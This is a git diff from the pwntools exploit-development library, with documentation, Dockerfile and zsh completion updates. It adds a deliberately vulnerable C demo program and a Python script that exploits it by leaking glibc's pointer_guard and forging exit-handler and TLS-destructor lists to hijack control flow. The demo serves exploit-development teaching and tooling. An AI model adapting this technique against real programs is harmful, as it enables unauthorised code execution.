||||
from pwn import *
|
||||
context.clear(arch='thumb')
|
||||
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
|
||||
|
||||
:mod:`pwnlib.shellcraft.thumb` --- Shellcode for Thumb Mode
|
||||
===========================================================
|
||||
|
||||
|
||||
@@ -2,6 +2,10 @@
|
||||
|
||||
from pwn import *
|
||||
|
||||
# TODO: Remove global POSIX flag
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
|
||||
|
||||
:mod:`pwnlib.tubes.ssh` --- SSH
|
||||
===========================================================
|
||||
|
||||
|
||||
@@ -3,6 +3,9 @@
|
||||
from pwn import *
|
||||
import io
|
||||
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
|
||||
|
||||
:mod:`pwnlib.ui` --- Functions for user interaction
|
||||
===================================================
|
||||
|
||||
|
||||
@@ -2,6 +2,9 @@
|
||||
|
||||
from pwnlib.util.net import *
|
||||
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
|
||||
|
||||
:mod:`pwnlib.util.net` --- Networking interfaces
|
||||
===================================================
|
||||
|
||||
|
||||
@@ -4,6 +4,9 @@
|
||||
from pwnlib.tubes.process import process
|
||||
import os, sys
|
||||
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
|
||||
|
||||
|
||||
:mod:`pwnlib.util.proc` --- Working with ``/proc/``
|
||||
===================================================
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
|
||||
:mod:`pwnlib.windbg` --- Working with WinDbg
|
||||
============================================
|
||||
|
||||
.. automodule:: pwnlib.windbg
|
||||
:members:
|
||||
@@ -0,0 +1,72 @@
|
||||
# The prebuilt binary is compiled in Arch Linux with glibc 2.43
|
||||
from pwn import *
|
||||
import shutil
|
||||
import tempfile
|
||||
import os
|
||||
|
||||
context.log_level = 'debug'
|
||||
context.arch = 'amd64'
|
||||
EXE = './vulnerable'
|
||||
t = process(EXE)
|
||||
elf = ELF(EXE)
|
||||
|
||||
# Copy libc so later we can unstrip it
|
||||
libc = elf.libc
|
||||
tmpfd, tmpname = tempfile.mkstemp()
|
||||
print(tmpfd)
|
||||
with open(libc.file.name, 'rb') as f:
|
||||
shutil.copyfileobj(f, os.fdopen(tmpfd, 'wb'))
|
||||
|
||||
libcdb.unstrip_libc(tmpname)
|
||||
libc = ELF(tmpname)
|
||||
|
||||
# Now fetch information
|
||||
# XXX: in my build, the tls variable locates at fs:[-4]
|
||||
t.recvuntil(b': ')
|
||||
tls = int(t.recvline(), 16)
|
||||
info(f'Ready to read pointer_guard @ {tls + 0x30 + 4:#x}')
|
||||
|
||||
t.recvuntil(b': ')
|
||||
handle = int(t.recvline(), 16)
|
||||
|
||||
t.recvuntil(b': ')
|
||||
libc_base = int(t.recvline(), 16) - libc.symbols['puts']
|
||||
info(f'Leak libc_base: {libc_base:#x}')
|
||||
libc.address = libc_base
|
||||
|
||||
t.recvuntil(b': ')
|
||||
chunk = int(t.recvline(), 16)
|
||||
|
||||
# Then read pointer_guard value
|
||||
t.sendlineafter(b'%p', hex(tls + 0x30 + 4).encode())
|
||||
t.recvuntil(b': ')
|
||||
guard = int(t.recvline(), 16)
|
||||
info(f'Guard is: {guard:#x}')
|
||||
|
||||
# Next overwrite initial and tls_dtors
|
||||
t.recvuntil(b'%p=%lx')
|
||||
# XXX: dtor_list->map->l_tls_dtor_count need to be dereferenced
|
||||
# on glibc 2.43, the offset is 0x498
|
||||
tls_dtor = glibc.ExitDtorList(handle, guard, chunk, chunk, 0)
|
||||
g_dtor = glibc.ExitFunc(glibc.ExitFlavor.CXA, handle, guard, 0xabcd, 0)
|
||||
g_dtor_list = glibc.ExitFuncList(0, [g_dtor])
|
||||
|
||||
def write_object(addr: int, blob: bytes) -> str:
|
||||
return ' '.join(
|
||||
f'{addr + i:#x}={u64(blob[i:i + 8]):#x}'
|
||||
for i in range(0, len(blob), 8)
|
||||
)
|
||||
|
||||
# Firstly, write glibc initial to overwrite global dtor
|
||||
t.sendline(write_object(libc.symbols['initial'], bytes(g_dtor_list)).encode())
|
||||
# Secondly, write tls dtor
|
||||
t.sendline(write_object(chunk, bytes(tls_dtor)).encode())
|
||||
# XXX: tls_dtor_list must be free-able
|
||||
# XXX: tls_dtor_list is not hard-encoded (in glibc GOT),
|
||||
# on my machine it's fs:[-0x48]
|
||||
t.sendline(write_object(tls + 4 - 0x48, p64(chunk)).encode())
|
||||
# Thirdly, terminate cycle
|
||||
t.sendline(b'x')
|
||||
# Finally, wait for exit
|
||||
t.recvuntil(b'happen:\n')
|
||||
t.interactive()
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,39 @@
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <threads.h>
|
||||
#include <unistd.h>
|
||||
|
||||
thread_local int x;
|
||||
|
||||
void malicious_handler(void *arg) {
|
||||
printf("Calling handler with %p\n", arg);
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
setbuf(stdin, NULL);
|
||||
setbuf(stdout, NULL);
|
||||
|
||||
printf("Assume you have some way to leak information about TLS: %p\n", &x);
|
||||
printf("Some more information about function to hijack: %p\n", malicious_handler);
|
||||
printf("You can't exploit without glibc: %p\n", puts);
|
||||
|
||||
void *p = malloc(0x500);
|
||||
printf("To continue destructor chain, a forged link_map and dtor is needed: %p\n", p);
|
||||
|
||||
printf("Then you have some way to read/write pointer_guard\n");
|
||||
size_t *where = NULL;
|
||||
printf("Where to read? %%p > ");
|
||||
scanf("%p", &where);
|
||||
printf("Dereferenced value: %#lx\n", where ? *where : 0);
|
||||
|
||||
printf("Now perform arbitrary write ability on hijack exit handlers...\n");
|
||||
printf("Write addresses in pairs: %%p=%%lx\n");
|
||||
size_t value = 0;
|
||||
while (scanf("%p=%lx", &where, &value) == 2) {
|
||||
*where = value;
|
||||
}
|
||||
|
||||
printf("Let's exit to see what will happen:\n");
|
||||
return 0;
|
||||
}
|
||||
@@ -3,12 +3,12 @@
|
||||
# Based on Ubuntu
|
||||
############################################################
|
||||
|
||||
FROM ubuntu:jammy
|
||||
MAINTAINER Maintainer Gallopsled et al.
|
||||
FROM ubuntu:noble
|
||||
LABEL maintainer="Maintainer Gallopsled et al."
|
||||
|
||||
ENV LANG en_US.UTF-8
|
||||
ENV LANGUAGE en_US:en
|
||||
ENV LC_ALL en_US.UTF-8
|
||||
ENV LANG=en_US.UTF-8
|
||||
ENV LANGUAGE=en_US:en
|
||||
ENV LC_ALL=en_US.UTF-8
|
||||
|
||||
ARG DEBIAN_FRONTEND=noninteractive
|
||||
RUN apt-get update \
|
||||
@@ -20,9 +20,6 @@ RUN apt-get update \
|
||||
git \
|
||||
libssl-dev \
|
||||
libffi-dev \
|
||||
python2.7 \
|
||||
python2.7-dev \
|
||||
python2-pip-whl \
|
||||
python3 \
|
||||
python3-pip \
|
||||
python3-dev \
|
||||
@@ -32,19 +29,20 @@ RUN apt-get update \
|
||||
binutils-aarch64-linux-gnu \
|
||||
binutils-mips-linux-gnu \
|
||||
binutils-mipsel-linux-gnu \
|
||||
binutils-msp430 \
|
||||
binutils-powerpc-linux-gnu \
|
||||
binutils-powerpc64-linux-gnu \
|
||||
binutils-s390x-linux-gnu \
|
||||
binutils-sparc64-linux-gnu \
|
||||
binutils-riscv64-linux-gnu \
|
||||
binutils-loongarch64-linux-gnu \
|
||||
tmux \
|
||||
patchelf \
|
||||
&& locale-gen en_US.UTF-8 \
|
||||
&& update-locale LANG=en_US.UTF-8 \
|
||||
&& PYTHONPATH=`echo /usr/share/python-wheels/pip-*.whl` python2.7 -m pip install --upgrade pip setuptools wheel \
|
||||
&& python2.7 -m pip install --upgrade pwntools \
|
||||
&& python3 -m pip install --upgrade pip \
|
||||
&& python3 -m pip install --upgrade pwntools \
|
||||
&& python3 -m pip install --no-cache-dir --break-system-packages --upgrade pwntools \
|
||||
&& PWNLIB_NOTERM=1 pwn update \
|
||||
&& userdel -r ubuntu \
|
||||
&& useradd -m pwntools \
|
||||
&& passwd --delete --unlock pwntools \
|
||||
&& echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
FROM pwntools/pwntools:stable
|
||||
|
||||
USER root
|
||||
RUN python2.7 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools@beta \
|
||||
&& python3 -m pip install --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@beta
|
||||
RUN python3 -m pip uninstall --break-system-packages -q -y pwntools && python3 -m pip install --no-cache-dir --break-system-packages --upgrade git+https://github.com/Gallopsled/pwntools@beta
|
||||
RUN PWNLIB_NOTERM=1 pwn update
|
||||
USER pwntools
|
||||
@@ -1,8 +0,0 @@
|
||||
from debian:buster
|
||||
|
||||
RUN apt-get update
|
||||
RUN apt-get -y dist-upgrade
|
||||
RUN apt-get -y install python3 python3-pip
|
||||
RUN apt-get -y install git wget unzip
|
||||
|
||||
RUN pip3 install --upgrade git+https://github.com/Gallopsled/pwntools@dev
|
||||
@@ -1,7 +1,6 @@
|
||||
FROM pwntools/pwntools:stable
|
||||
|
||||
USER root
|
||||
RUN python2.7 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools@dev \
|
||||
&& python3 -m pip install --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@dev
|
||||
RUN python3 -m pip uninstall --break-system-packages -q -y pwntools && python3 -m pip install --no-cache-dir --break-system-packages --upgrade git+https://github.com/Gallopsled/pwntools@dev
|
||||
RUN PWNLIB_NOTERM=1 pwn update
|
||||
USER pwntools
|
||||
@@ -5,8 +5,7 @@ ENV HISTFILE=/home/pwntools/.history
|
||||
|
||||
# Uninstall existing versions of pwntools
|
||||
USER root
|
||||
RUN python2.7 -m pip uninstall -q -y pwntools \
|
||||
&& python3 -m pip uninstall -q -y pwntools
|
||||
RUN python3 -m pip uninstall --break-system-packages -q -y pwntools
|
||||
|
||||
# Switch back to the pwntools user from here forward
|
||||
USER pwntools
|
||||
@@ -18,17 +17,14 @@ ENV PATH="/home/pwntools/.local/bin:${PATH}"
|
||||
|
||||
# Install Pwntools to the home directory, make it an editable install
|
||||
RUN git clone https://github.com/Gallopsled/pwntools \
|
||||
&& python2.7 -m pip install --upgrade --editable pwntools \
|
||||
&& python3 -m pip install --upgrade --editable pwntools \
|
||||
&& python3 -m pip install --break-system-packages --upgrade --editable pwntools \
|
||||
&& PWNLIB_NOTERM=1 pwn version
|
||||
|
||||
# Requirements for running the tests
|
||||
RUN python2.7 -m pip install --upgrade --requirement pwntools/docs/requirements.txt \
|
||||
&& python3 -m pip install --upgrade --requirement pwntools/docs/requirements.txt
|
||||
RUN python3 -m pip install --break-system-packages --upgrade --requirement pwntools/docs/requirements.txt
|
||||
|
||||
# Python niceties for debugging
|
||||
RUN python2.7 -m pip install -U ipython ipdb \
|
||||
&& python3 -m pip install -U ipython ipdb
|
||||
RUN python3 -m pip install --break-system-packages -U ipython ipdb
|
||||
|
||||
# Dependencies from .travis.yml addons -> apt -> packages
|
||||
ARG DEBIAN_FRONTEND=noninteractive
|
||||
|
||||
@@ -408,7 +408,7 @@ c.TerminalInteractiveShell.prompts_class = ClassicPrompts
|
||||
# Options for configuring the SQLite connection
|
||||
#
|
||||
# These options are passed as keyword args to sqlite3.connect when establishing
|
||||
# database conenctions.
|
||||
# database connections.
|
||||
# c.HistoryManager.connection_options = {}
|
||||
|
||||
# enable the SQLite history
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
FROM pwntools/pwntools:base
|
||||
|
||||
USER root
|
||||
RUN python2.7 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools@stable \
|
||||
&& python3 -m pip install --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@stable
|
||||
RUN python3 -m pip uninstall --break-system-packages -q -y pwntools && python3 -m pip install --no-cache-dir --break-system-packages --upgrade git+https://github.com/Gallopsled/pwntools@stable
|
||||
RUN PWNLIB_NOTERM=1 pwn update
|
||||
USER pwntools
|
||||
+223
-79
@@ -5,13 +5,63 @@
|
||||
# Pwntools Command-line Interface
|
||||
#
|
||||
# This file was generated with help from Zargparse (https://github.com/ctil/zargparse)
|
||||
# NOTE: Don't use Zargparse any more as it may bring known errors!
|
||||
# ----------------------------------------------------------------------------------------
|
||||
|
||||
_comp_pid() {
|
||||
if [[ $1 == 'pid' ]] {
|
||||
local line pids lines
|
||||
pids=()
|
||||
# extract command output line by line
|
||||
lines=("${(@f)$(ps --ppid 2 -p 2 -N -o pid=,tty=,user=,comm=)}")
|
||||
for line ($lines) {
|
||||
pids+=${line[(w)1]} # extract first word (pid)
|
||||
}
|
||||
_wanted nonk-pids expl 'non-kernel process ID' \
|
||||
compadd -o nosort -ld lines -a pids
|
||||
} elif [[ $1 == 'procs' ]] {
|
||||
local line names lines
|
||||
names=()
|
||||
# extract command output line by line
|
||||
lines=("${(@f)$(ps --ppid 2 -p 2 -N -o comm=,pid=,tty=,user=)}")
|
||||
for line ($lines) {
|
||||
names+=${line[(w)1]} # extract first word (pid)
|
||||
}
|
||||
_wanted nonk-comm expl 'non-kernel process names' \
|
||||
compadd -o nosort -ld lines -a names
|
||||
}
|
||||
}
|
||||
|
||||
_comp_funcs() {
|
||||
local names
|
||||
output=$(readelf -Ws $1 2>/dev/null)
|
||||
if [[ $? -ne 0 ]] {
|
||||
return
|
||||
}
|
||||
names=("${(f)$(awk '$4=="FUNC" && $7!="UND" {print $8}' <(echo "$output"))}")
|
||||
if [[ $#names -gt 0 ]] {
|
||||
_values "FUNCTIONS" $names
|
||||
}
|
||||
}
|
||||
|
||||
_comp_error() {
|
||||
local -a names
|
||||
which errno > /dev/null
|
||||
if [[ $? -ne 0 ]] {
|
||||
return
|
||||
}
|
||||
names=("${(f)$(LC_ALL=C errno -l | awk '{printf "%s:(%d) %s\n", $1, $2, substr($0, length($1 $2)+3)}')}")
|
||||
_describe "ERRORS" names
|
||||
}
|
||||
|
||||
typeset -A opt_args
|
||||
|
||||
_pwn() {
|
||||
setopt localoptions
|
||||
setopt extendedglob
|
||||
# Define the subcommands
|
||||
local -a commands
|
||||
|
||||
commands=(
|
||||
'asm:Assemble shellcode into bytes'
|
||||
'checksec:Check binary security settings'
|
||||
@@ -24,174 +74,268 @@ _pwn() {
|
||||
'elfpatch:Patch an ELF file'
|
||||
'errno:Prints out error messages'
|
||||
'hex:Hex-encodes data provided on the command line or stdin'
|
||||
'libcdb:Print various information about a libc binary'
|
||||
'phd:Pretty hex dump'
|
||||
'scramble:Strip binaries for CTF usage'
|
||||
'shellcraft:Shellcode encoder'
|
||||
'template:Microwave shellcode -- Easy, fast and delicious'
|
||||
'unhex:Generate an exploit template'
|
||||
'update:Decodes hex-encoded data provided on the command line or via stdin.'
|
||||
'version:Check for pwntools updates'
|
||||
'pwnstrip:Strip binaries for CTF usage'
|
||||
'scramble:Shellcode encoder'
|
||||
'shellcraft:Microwave shellcode -- Easy, fast and delicious'
|
||||
'template:Generate an exploit template'
|
||||
'unhex:Decodes hex-encoded data provided on the command line or via stdin.'
|
||||
'update:Check for pwntools updates'
|
||||
'version:Pwntools version'
|
||||
)
|
||||
|
||||
# Global flags (i.e. ones not associated with a subcommand)
|
||||
_arguments \
|
||||
"1: :{_describe 'command' commands}" \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
"1:COMMAND: _describe 'command' commands" \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'*:: :->args'
|
||||
|
||||
# Flags for each subcommand
|
||||
case $state in
|
||||
args)
|
||||
case $words[1] in
|
||||
pwnstrip)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'(-b --build-id)'{-b,--build-id}'[Strip build ID]' \
|
||||
'(-p --patch)'{-p,--patch}'=[Patch function]:' \
|
||||
'(-o --output)'{-o,--output}'=[None]:' \
|
||||
;;
|
||||
asm)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'(-f --format)'{-f,--format}'=[Output format (defaults to hex for ttys, otherwise raw)]:-f :(raw hex string elf)' \
|
||||
'(-o --output)'{-o,--output}'=[Output file (defaults to stdout)]:' \
|
||||
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
|
||||
'(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes (provided as hex)]:' \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'(-f --format)'{-f,--format}'[Output format]:FORMAT:(raw hex string elf)' \
|
||||
'(-o --output)'{-o,--output}'[Output file (defaults to stdout)]:OUTPUT:_files' \
|
||||
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
|
||||
'(-v --avoid)'{-v,--avoid}'[Encode the shellcode to avoid the listed bytes (provided as hex)]:HEXBYTES: ' \
|
||||
'(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \
|
||||
'(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \
|
||||
'(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \
|
||||
'(-e --encoder)'{-e,--encoder}'=[Specific encoder to use]:' \
|
||||
'(-i --infile)'{-i,--infile}'=[Specify input file]:' \
|
||||
'(-i --infile)'{-i,--infile}'[Specify input file]:INPUT:_files' \
|
||||
'(-r --run)'{-r,--run}'[Run output]' \
|
||||
'*:LINE: '
|
||||
;;
|
||||
checksec)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'--file=[File to check (for compatibility with checksec.sh)]:' \
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'--file[File to check]:ELF:_files' \
|
||||
'*:ELF:_files'
|
||||
;;
|
||||
constgrep)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'(-e --exact)'{-e,--exact}'[Do an exact match for a constant instead of searching for a regex]' \
|
||||
'(-i --case-insensitive)'{-i,--case-insensitive}'[Search case insensitive]' \
|
||||
'(-m --mask-mode)'{-m,--mask-mode}'[Instead of searching for a specific constant value, search for values not containing strictly less bits that the given value.]' \
|
||||
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
|
||||
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
|
||||
'1:REGEX: ' \
|
||||
'2:CONST: ' \
|
||||
'*: :'
|
||||
;;
|
||||
cyclic)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'(-a --alphabet)'{-a,--alphabet}'=[The alphabet to use in the cyclic pattern (defaults to all lower case letters)]:' \
|
||||
'(-n --length)'{-n,--length}'=[Size of the unique subsequences (defaults to 4).]:' \
|
||||
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
|
||||
'(-l -o --offset --lookup)'{-l,-o,--offset,--lookup}'=[Do a lookup instead printing the alphabet]:' \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'(-a --alphabet)'{-a,--alphabet}'[The alphabet to use in the cyclic pattern (defaults to all lower case letters)]:ALPHABETS: ' \
|
||||
'(-n --length)'{-n,--length}'[Size of the unique subsequences (defaults to 4)]:LENGTH: ' \
|
||||
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
|
||||
'(-l -o --offset --lookup)'{-l,-o,--offset,--lookup}'[Do a lookup instead printing the alphabet]:LOOKUP: ' \
|
||||
'1:COUNT: ' \
|
||||
'*: :'
|
||||
;;
|
||||
debug)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'-x=[Execute GDB commands from this file.]:' \
|
||||
'--pid=[PID to attach to]:' \
|
||||
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
|
||||
'--exec=[File to debug]:' \
|
||||
'--process=[Name of the process to attach to (e.g. "bash")]:' \
|
||||
'--sysroot=[GDB sysroot path]:' \
|
||||
;;
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'-x[Execute GDB commands from this file]:GDBSCRIPT:_files' \
|
||||
'--pid[PID to attach to]:PID: _comp_pid pid' \
|
||||
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
|
||||
'--exec[File to debug]:EXE:_files' \
|
||||
'--process[Name of the process to attach to (e.g. "bash")]:NAME: _comp_pid procs' \
|
||||
'--sysroot[GDB sysroot path]:PATH:_files -/'
|
||||
;;
|
||||
disasm)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
|
||||
'(-a --address)'{-a,--address}'=[Base address]:' \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
|
||||
'(-a --address)'{-a,--address}'[Base address]:ADDR: ' \
|
||||
'--color[Color output]' \
|
||||
'--no-color[Disable color output]' \
|
||||
'*:HEX: '
|
||||
;;
|
||||
disablenx)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'*:ELF:_files'
|
||||
;;
|
||||
elfdiff)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'1:ELF_A:_files' \
|
||||
'2:ELF_B:_files' \
|
||||
'*: :'
|
||||
;;
|
||||
elfpatch)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'1:ELF:_files' \
|
||||
'2:OFFSET: ' \
|
||||
'3:PATCH: ' \
|
||||
'*: :'
|
||||
;;
|
||||
errno)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'1:ERROR:_comp_error' \
|
||||
'*: :'
|
||||
;;
|
||||
hex)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'(-p --prefix)'{-p,--prefix}'[Insert a prefix before each byte]:PREFIX: ' \
|
||||
'(-s --separator)'{-s,--separator}'[Add a separator between each byte]:SEPARATOR: ' \
|
||||
'*:DATA: '
|
||||
;;
|
||||
libcdb)
|
||||
local -a libc_cmds=(
|
||||
'lookup:Lookup a libc version by function offsets'
|
||||
'hash:Display information of a libc version given an unique hash'
|
||||
'file:Dump information about a libc binary'
|
||||
'fetch:Fetch libc database'
|
||||
)
|
||||
_arguments \
|
||||
"1:LIBC_COMMAND: _describe 'libc command' libc_cmds" \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'*:: :->args'
|
||||
if [[ $state != 'args' ]] {
|
||||
return
|
||||
}
|
||||
case $words[1] {
|
||||
(lookup)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'(-d --download-libc)'{-d,--download-libc}'[Attempt to download the matching libc.so]' \
|
||||
'--no-unstrip[Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server]' \
|
||||
'--offline-only[Attempt to searching with offline only mode]' \
|
||||
'*:SYMBOL_OFFSET_PAIRS: _message -r "SYMBOL_OFFSET_PAIRS Hint: read 3e0 write 520"'
|
||||
;;
|
||||
(hash)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'(-t --hash_type)'{-t,--hash_type}'[The type of the provided hash value]:HASH TYPE:(id buildid md5 sha1 sha256)' \
|
||||
'(-d --download-libc)'{-d,--download-libc}'[Attempt to download the matching libc.so]' \
|
||||
'--no-unstrip[Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server]' \
|
||||
'--offline-only[Attempt to searching with offline only mode]' \
|
||||
'*:HASH VALUE: '
|
||||
;;
|
||||
(file)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'(-s --symbols)'{-s,--symbols}'[List of symbol offsets to dump in addition to the common ones]:SYMBOLS: ' \
|
||||
'(-o --offset)'{-o,--offset}'[Display all offsets relative to this symbol]:OFFSET: ' \
|
||||
'--unstrip[Attempt to unstrip the libc binary inplace with debug symbols from a debuginfod server]' \
|
||||
'*:FILE:_files'
|
||||
;;
|
||||
(fetch)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'(-u --update)'{-u,--update}'[Fetch the desired libc categories]:UPDATE: ' \
|
||||
'1:PATH:_files' \
|
||||
'*: :'
|
||||
;;
|
||||
}
|
||||
;;
|
||||
phd)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'(-w --width)'{-w,--width}'=[Number of bytes per line.]:' \
|
||||
'(-l --highlight)'{-l,--highlight}'=[Byte to highlight.]:' \
|
||||
'(-s --skip)'{-s,--skip}'=[Skip this many initial bytes.]:' \
|
||||
